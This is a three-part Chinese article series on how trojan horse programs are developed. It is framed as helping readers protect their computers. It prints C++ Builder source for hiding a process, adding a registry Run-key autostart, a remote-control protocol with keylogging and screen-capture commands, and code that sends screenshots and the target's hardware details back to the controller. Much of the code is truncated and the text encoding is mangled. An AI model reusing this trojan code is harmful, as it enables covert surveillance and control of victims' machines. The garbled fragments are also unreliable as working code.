|
透視木馬程序開(kāi)發(fā)技術(shù)(上)
近年來(lái),黑客技術(shù)不斷成熟起來(lái),對(duì)網(wǎng)絡(luò)安全造成了極大的威脅,黑客的主要攻擊手段之一,就是使用木馬技術(shù),滲透到對(duì)方的主機(jī)系統(tǒng)里,從而實(shí)現(xiàn)對(duì)遠(yuǎn)程操作目標(biāo)主機(jī)。 其破壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面我對(duì)木馬進(jìn)行源代碼級(jí)的詳細(xì)的分析,讓我們對(duì)木馬的開(kāi)發(fā)技術(shù)做一次徹底的透視,從了解木馬技術(shù)開(kāi)始,更加安全的管理好自己的計(jì)算機(jī)。
1、木馬程序的分類 木馬程序技術(shù)發(fā)展至今,已經(jīng)經(jīng)歷了4代,第一代,即是簡(jiǎn)單的密碼竊取,發(fā)送等,沒(méi)有什么特別之處。第二代木馬,在技術(shù)上有了很大的進(jìn)步,冰河可以說(shuō)為是國(guó)內(nèi)木馬的典型代表之一。第三代木馬在數(shù)據(jù)傳遞技術(shù)上,又做了不小的改進(jìn),出現(xiàn)了ICMP等類型的木馬,利用畸形報(bào)文傳遞數(shù)據(jù),增加了查殺的難度。第四代木馬在進(jìn)程隱藏方面,做了大的改動(dòng),采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù),嵌入DLL線程?;蛘邟旖覲SAPI,實(shí)現(xiàn)木馬程序的隱藏,甚至在Windows NT/2000下,都達(dá)到了良好的隱藏效果。相信,第五代木馬很快也會(huì)被編制出來(lái)。關(guān)于更詳細(xì)的說(shuō)明,可以參考ShotGun的文章《揭開(kāi)木馬的神秘面紗》。
2.木馬程序的隱藏技術(shù)
木馬程序的服務(wù)器端,為了避免被發(fā)現(xiàn),多數(shù)都要進(jìn)行隱藏處理,下面讓我們來(lái)看看木馬是如何實(shí)現(xiàn)隱藏的。 說(shuō)到隱藏,首先得先了解三個(gè)相關(guān)的概念:進(jìn)程,線程和服務(wù)。我簡(jiǎn)單的解釋一下。 進(jìn)程:一個(gè)正常的Windows應(yīng)用程序,在運(yùn)行之后,都會(huì)在系統(tǒng)之中產(chǎn)生一個(gè)進(jìn)程,同時(shí),每個(gè)進(jìn)程,分別對(duì)應(yīng)了一個(gè)不同的PID(Progress ID, 進(jìn)程標(biāo)識(shí)符)這個(gè)進(jìn)程會(huì)被系統(tǒng)分配一個(gè)虛擬的內(nèi)存空間地址段,一切相關(guān)的程序操作,都會(huì)在這個(gè)虛擬的空間中進(jìn)行。 服務(wù):一個(gè)進(jìn)程當(dāng)以服務(wù)的方式工作的時(shí)候,它將會(huì)在后臺(tái)工作,不會(huì)出現(xiàn)在任務(wù)列表中,但是,在Windows NT/2000下,你仍然可以通過(guò)服務(wù)管理器檢查任何的服務(wù)程序是否被啟動(dòng)運(yùn)行。 想要隱藏木馬的服務(wù)器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進(jìn)程仍然存在,只不過(guò)是讓他消失在進(jìn)程列表里。真隱藏則是讓程序徹底的消失,不以一個(gè)進(jìn)程或者服務(wù)的方式工作。 偽隱藏的方法,是比較容易實(shí)現(xiàn)的,只要把木馬服務(wù)器端的程序注冊(cè)為一個(gè)服務(wù)就可以了,這樣,程序就會(huì)從任務(wù)列表中消失了,因?yàn)橄到y(tǒng)不認(rèn)為他是一個(gè)進(jìn)程,當(dāng)按下Ctrl+Alt+Delete的時(shí)候,也就看不到這個(gè)程序。但是,這種方法只適用于Windows9x的系統(tǒng),對(duì)于Windows NT,Windows 2000等,通過(guò)服務(wù)管理器,一樣會(huì)發(fā)現(xiàn)你在系統(tǒng)中注冊(cè)過(guò)的服務(wù)。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當(dāng)然還有辦法,那就是API的攔截技術(shù),通過(guò)建立一個(gè)后臺(tái)的系統(tǒng)鉤子,攔截PSAPI的EnumProcessModules等相關(guān)的函數(shù)來(lái)實(shí)現(xiàn)對(duì)進(jìn)程和服務(wù)的遍歷調(diào)用的控制,當(dāng)檢測(cè)到進(jìn)程ID(PID)為木馬程序的服務(wù)器端進(jìn)程的時(shí)候直接跳過(guò),這樣就實(shí)現(xiàn)了進(jìn)程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數(shù),來(lái)截獲屏幕輸出,實(shí)現(xiàn)即時(shí)翻譯的。同樣,這種方法也可以用在進(jìn)程隱藏上。 當(dāng)進(jìn)程為真隱藏的時(shí)候,那么這個(gè)木馬的服務(wù)器部分程序運(yùn)行之后,就不應(yīng)該具備一般進(jìn)程,也不應(yīng)該具備服務(wù)的,也就是說(shuō),完全的溶進(jìn)了系統(tǒng)的內(nèi)核。也許你會(huì)覺(jué)得奇怪,剛剛不是說(shuō)一個(gè)應(yīng)用程序運(yùn)行之后,一定會(huì)產(chǎn)生一個(gè)進(jìn)程嗎?的確,所以我們可以不把他做成一個(gè)應(yīng)用程序,而把他做為一個(gè)線程,一個(gè)其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間。而這個(gè)應(yīng)用程序?qū)τ谙到y(tǒng)來(lái)說(shuō),是一個(gè)絕對(duì)安全的程序,這樣,就達(dá)到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑客程序難度的增加。
出于安全考慮,我只給出一種通過(guò)注冊(cè)服務(wù)程序,實(shí)現(xiàn)進(jìn)程偽隱藏的方法,對(duì)于更復(fù)雜,高級(jí)的隱藏方法,比如遠(yuǎn)程線程插入其他進(jìn)程的方法,請(qǐng)參閱ShotGun的文章《NT系統(tǒng)下木馬進(jìn)程的隱藏與檢測(cè)》。 WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{ try { DWORD dwVersion = GetVersion(); //取得Windows的版本號(hào) if (dwVersion >= 0x80000000) // Windows 9x隱藏任務(wù)列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //裝入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess"); //找到RegisterServiceProcess的入口 rsp(NULL,1); //注冊(cè)服務(wù) FreeLibrary(dll); //釋放DLL模塊 } } catch (Exception &exception) //處理異常事件 { //處理異常事件 } return 0; } 3、程序的自加載運(yùn)行技術(shù)
讓程序自運(yùn)行的方法比較多,除了最常見(jiàn)的方法:加載程序到啟動(dòng)組,寫(xiě)程序啟動(dòng)路徑到注冊(cè)表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過(guò)注冊(cè)表里的輸入法鍵值直接掛接啟動(dòng),通過(guò)修改Explorer.exe啟動(dòng)參數(shù)等等的方法,真的可以說(shuō)是防不勝防,下面展示一段通過(guò)修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run鍵值來(lái)實(shí)現(xiàn)自啟動(dòng)的程序: 自裝載部分: HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\", 0L, NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, "open", NewProgramName.c_str(), NULL, NULL, SW_HIDE))>32) { WantClose=true; Close(); } else { HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl); if (strcmp(str,"BGroup")==0)
{ DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup"); break; }
}while(Suc== ERROR_SUCCESS); 自裝載程序的卸載代碼: int num; HKEY hkey; 其中自裝載部分使用C++ Builder可以這樣寫(xiě),會(huì)比較簡(jiǎn)化: TRegistry & regKey = *new TRegistry(); 透視木馬程序開(kāi)發(fā)技術(shù)(中)
上一期我們推出《透視木馬程序開(kāi)發(fā)技術(shù)(上)》這期我們推出這個(gè)系列的第二部份,希望能對(duì)你了解木馬技術(shù)以便安全的管理你的計(jì)算機(jī)提供一定的幫助。
4、木馬程序的建立連接的隱藏 木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見(jiàn)的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接,使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡(jiǎn)單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動(dòng)TCP,UDP連接。 C:\Documents and Settings\bigball>netstat -n Active Connections Proto Local Address Foreign Address State C:\Documents and Settings\bigball>netstat -a Active Connections Proto Local Address Foreign Address State 但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說(shuō),使用特殊的手段,在一個(gè)端口上同時(shí)綁定兩個(gè)TCP或者UDP連接,這聽(tīng)起來(lái)不可思議,但事實(shí)上確實(shí)如此,而且已經(jīng)出現(xiàn)了使用類似方法的程序,通過(guò)把自己的木馬端口綁定于特定的服務(wù)端口之上,(比如80端口的HTTP,誰(shuí)懷疑他會(huì)是木馬程序呢?)從而達(dá)到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進(jìn)行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造,加入木馬的控制字段,這樣的木馬,具備很多新的特點(diǎn),不占用端口的特點(diǎn),使用戶難以發(fā)覺(jué),同時(shí),使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點(diǎn),是因?yàn)镮CMP不同于TCP,UDP,ICMP工作于網(wǎng)絡(luò)的應(yīng)用層不使用TCP協(xié)議。關(guān)于網(wǎng)絡(luò)層次的結(jié)構(gòu),下面給出圖示:
5、發(fā)送數(shù)據(jù)的組織方法 關(guān)于數(shù)據(jù)的組織方法,可以說(shuō)是數(shù)學(xué)上的問(wèn)題。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個(gè)編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實(shí)現(xiàn)的呢?下面,我舉例包裝一些協(xié)議: typedef struct{ //定義消息結(jié)構(gòu) //------------------------------------------
//------------------------------------------ //------------------------------------------ // TCP的Msg #define MSGListProgram 19
#define MSGFlyMouse 21 #define MSGGoWithMouse 22 #define MSGSaveKey 23 #define MSGTracekey 24 #define MsgCopyScreen 25//tcp接收消息,udp請(qǐng)求消息 #define MSGCopyWindow 26 //------------------------- //鼠標(biāo)指針隱藏和顯示控制 //------------------------- #define MsgSetMouseStat 27//設(shè)置消息 #define MsgMouseStat 28//成功消息 typedef struct{ bool mouseshow; }MsgSetMouseStatUint; #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint) //-------------------------
//任務(wù)欄隱藏和顯示控制 //------------------------- #define MsgSetTaskBarStat 29//設(shè)置消息 #define MsgTaskBarStat 30//成功消息 typedef struct{ bool taskshow; }MsgSetTaskBarStatUint; #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//------------------------- //------------------------- //------------------------- #define MsgGetHardWare 35//請(qǐng)求硬件信息(UDP消息)和回傳硬件信息(TCP消息) 上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會(huì)比較少,不容易讓目標(biāo)機(jī)察覺(jué)。很多木馬程序中,都有像上面定義中類似的密碼定義,目地是為了防止非真實(shí)客戶機(jī)的連接請(qǐng)求。SNum 為消息操作號(hào),它的作用是為了效驗(yàn)數(shù)據(jù)是否是發(fā)送過(guò)的,經(jīng)過(guò)分析而知,我們熟悉的OICQ也正是使用了這一辦法來(lái)校驗(yàn)消息的。 數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個(gè)VOID類型的數(shù)據(jù)流,然后發(fā)送:
Msg *msg=new Msg; 當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼: NMUDP1->RemoteHost=FromIP; 此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫(huà)面,然后回傳給客戶機(jī),由于畫(huà)面的數(shù)據(jù)量很大所以,很多木馬程序都是在畫(huà)面改變的時(shí)候才回傳改變部分的畫(huà)面,常用的手段是最小矩形法,下面以好友“古老傳說(shuō)”的一段算法舉例:
#define MAXXCount 10 //屏幕X方向最多分割塊數(shù) int CNum,MaxCNum;
int ChangedNum=0; TRect *Rect; int num4; int MinSize=10000; int m; TRect MinRect; Graphics::TBitmap *bt2=new Graphics::TBitmap; TJPEGImage *j=new TJPEGImage; //************************ j->Quality=Qlity; //************************ CopyScreenUint CopyScreen; CopyScreenItemUint CopyScreenItem; TMemoryStream *ms=new TMemoryStream; ms->Write(&TcpMsg,sizeof(TcpMsgUint)); ms->Write(&CopyScreen,sizeof(CopyScreenUint)); do{ for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){ MaxCNum=0; for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形 CNum=GetChangedNum(TRect(num1,num2,num3,num4)); if (CNum>MaxCNum) MaxCNum=CNum; m=(num3-num1)*(num4-num2); if (2*m-CNum MinSize=2*m-CNum; MinRect=TRect(num1,num2,num3,num4); } } } TMemoryStream *ms; BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0); j->Assign(bt2); j->SaveToStream(ms2); CopyScreenItem.Rect=TRect(num1,num2,num3,num4); CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1 ms2->Position=0; CopyScreenItem.Length=ms2->Size; ms->Write(&CopyScreenItem,sizeof(ScreenItemUint)); ms->CopyFrom(ms2,ms2->Size); ChangedNum++; }while(MaxCNum>0); TcpMsg.Type=MsgCopyScreen; ms->Position=0; TcpMsg.Length=ms->Size-sizeof(TcpMsgUint); CopyScreen.Count=ChangedNum; ms->Write(&TcpMsg,sizeof(TcpMsgUint)); ms->Write(&CopyScreen,sizeof(CopyScreenUInt)); ms->Position=0; sock->SendStream(ms); }
這個(gè)程序把屏幕畫(huà)面切分為了多個(gè)部分,并存儲(chǔ)畫(huà)面為JPG格式,這樣壓縮率就變的十分的高了。通過(guò)這種方法壓縮處理過(guò)的數(shù)據(jù),變得十分小,甚至在屏幕沒(méi)有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過(guò)多分析了,有興趣的朋友,可以多看看。 透視木馬程序開(kāi)發(fā)技術(shù)(下)
上兩期我們推出《透視木馬程序開(kāi)發(fā)技術(shù)(上)》和《透視木馬程序開(kāi)發(fā)技術(shù)(中)》這期我們推出這個(gè)系列的最后一部份,希望能對(duì)你了解木馬技術(shù)以便安全的管理你的計(jì)算機(jī)提供一定的幫助。
6、目標(biāo)機(jī)器情況的獲取 相對(duì)于以上幾部分來(lái)說(shuō),這里實(shí)現(xiàn)的方法簡(jiǎn)單多了,這一段內(nèi)容會(huì)比較輕松,一般獲取機(jī)器情況的方法是調(diào)用相關(guān)的API,這一點(diǎn)上是和應(yīng)用程序很相像的。 AnsiString cs; if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) { cs=String(name)+"盤(pán)卷標(biāo)為:"+String(volname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); cs=String(name)+"盤(pán)序號(hào)為:"+String(sno)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //獲得返回參數(shù) totalspace=int(cluster)*byte*sector/1024/1024; //計(jì)算總?cè)萘?br> freespace=int(free)*byte*sector/1024/1024; //計(jì)算可用空間 cs=String(name)+String(‘:‘)+"盤(pán)總空間(Mb):"+AnsiString(totalspace)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); cs=String(name)+String(‘:‘)+"盤(pán)可用空間(Mb):"+AnsiString(freespace)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } } int wavedevice,mididevice; WAVEOUTCAPS wavecap; MIDIOUTCAPS midicap; wavedevice=(int)waveOutGetNumDevs(); //波形設(shè)備信息 mididevice=(int)midiOutGetNumDevs(); // MIDI設(shè)備信息 if (wavedevice!=0){ waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS)); cs="當(dāng)前波形設(shè)備:"+String(wavecap.szPname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } if (mididevice!=0){ midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS)); cs="當(dāng)前MIDI設(shè)備:"+String(midicap.szPname)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); } long double tcs; long double tc; long int bpp,cp; cs="當(dāng)前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL); tcs=pow(2,bpp); //計(jì)算色彩的梯度數(shù) cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES); tc= pow(double(tcs),double(cp)); //計(jì)算色深 AnsiString sss; sss=bpp; cs="當(dāng)前色深為:"+sss+"\n"; fwrite(cs.c_str(),cs.Length(),1,fp); fclose(fp); AnsiString FileName="temp.had"; char *buf; TcpMsgUint Msg2; strcpy(Msg2.TPassword,Password); TMemoryStream *ms=new TMemoryStream; ms->Clear(); if (!FileExists(FileName)) CheckHard(); TFileStream *fs=new TFileStream(FileName,fmOpenRead); buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size); Msg2.Type=MsgGetHardWare; Msg2.Length=fs->Size; FileClose(fs->Handle); ms->Write(&Msg2,sizeof(TcpMsgUint)); ms->Write(buf,Msg2.Length); ms->Position=0; delete []buf; try{ sock->SendStream(ms); } catch(Exception&e) { } }
上面一段程序,基本上把相關(guān)的系統(tǒng)信息都取到了。 7、服務(wù)器端程序的包裝與加密 用過(guò)冰河的人都知道,冰河允許用戶自定義端口號(hào)。這樣做的目的,是為了防止被反黑程序檢測(cè)出來(lái),這種功能是如何實(shí)現(xiàn)的呢? 首先讓我們來(lái)做一個(gè)實(shí)驗(yàn): 進(jìn)入Windows的命令行模式下做如下操作 怎么樣?是不是發(fā)現(xiàn)Server.Exe仍然可以運(yùn)行呢?木馬服務(wù)器端自定制的奧秘就在這里:首先生成了一個(gè)EXE文件,這個(gè)EXE文件里有一項(xiàng)讀取自身進(jìn)程內(nèi)容的操作,讀取時(shí),文件的指針直接指向進(jìn)程的末尾,從末尾的倒數(shù)N個(gè)字節(jié)處取得用戶定制的信息,比如端口號(hào)等,然后傳遞給程序的相關(guān)部分進(jìn)行處理。這里不給出相關(guān)的代碼部分,有興趣的朋友請(qǐng)參考一些文件打包程序代碼,它所使用的技術(shù)是大同小異的。 8、總結(jié) 以上講的幾點(diǎn)技術(shù),基本上包括了所有第二代木馬的特點(diǎn),個(gè)別的木馬程序支持服務(wù)器列表,宏傳播等,實(shí)現(xiàn)上大同小異。隨著技術(shù)的不斷更新和發(fā)展,相信離第五代木馬出現(xiàn)的日子已經(jīng)不遠(yuǎn)了,黑與反黑,如此往復(fù)的的進(jìn)行下去,看來(lái)反黑工作要走的路還很長(zhǎng),從根本上防止木馬,也只有從我們自身對(duì)木馬的認(rèn)識(shí)開(kāi)始,希望這篇文章在您閱讀之后能帶給您一些反黑技術(shù)上的幫助。 |
|
|